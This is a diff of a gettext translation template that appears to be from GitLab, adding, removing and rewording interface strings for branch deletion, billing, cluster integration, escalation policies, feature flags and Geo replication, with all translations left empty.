msgid "Auto stop successfully canceled."
msgstr ""
@@ -4871,6 +4868,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -5048,6 +5048,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5084,6 +5087,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5378,6 +5384,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5390,6 +5399,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5399,6 +5411,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5420,12 +5438,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5459,6 +5483,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5471,6 +5498,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5687,6 +5726,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5734,10 +5776,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5782,6 +5824,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6013,15 +6058,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6400,9 +6445,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6430,6 +6472,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6775,72 +6820,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Enter activation code"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6937,13 +6916,13 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
@@ -6994,9 +6973,6 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7009,9 +6985,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7051,9 +7024,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7102,15 +7072,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7273,12 +7240,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
@@ -7303,9 +7264,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7324,9 +7282,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7462,9 +7417,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7477,9 +7429,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7492,12 +7441,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7576,9 +7519,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7609,15 +7549,6 @@ msgstr ""
msgid "ClusterIntegration|Request to begin uninstalling failed"
msgstr ""
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7714,12 +7645,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7732,9 +7657,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7744,9 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while installing %{title}"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
msgstr ""
@@ -7759,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7918,9 +7834,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
msgstr ""
@@ -8011,9 +7924,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8370,42 +8289,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8421,6 +8307,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8671,6 +8560,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -9063,6 +8955,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9129,6 +9024,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9732,6 +9630,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9759,9 +9663,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9837,6 +9738,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10048,6 +9952,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
@@ -10117,6 +10024,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10476,9 +10395,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10503,6 +10419,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10536,7 +10455,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10656,6 +10575,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11333,6 +11255,18 @@ msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,22 +11288,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11384,7 +11324,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11396,15 +11336,15 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
@@ -11444,6 +11384,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11483,15 +11426,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11576,6 +11516,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11734,6 +11677,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11818,6 +11764,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12127,13 +12091,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12211,6 +12175,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12436,6 +12403,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12601,9 +12571,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,18 +13045,84 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
msgid "Escalation policies"
msgstr ""
+msgid "Escalation policies must have at least one rule"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
msgstr ""
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13151,7 +13184,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13270,7 +13305,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13390,9 +13425,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13794,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13818,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13848,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13869,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13914,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13932,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -13997,9 +14020,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14081,9 +14101,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14297,6 +14314,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14315,6 +14335,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14474,162 +14497,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
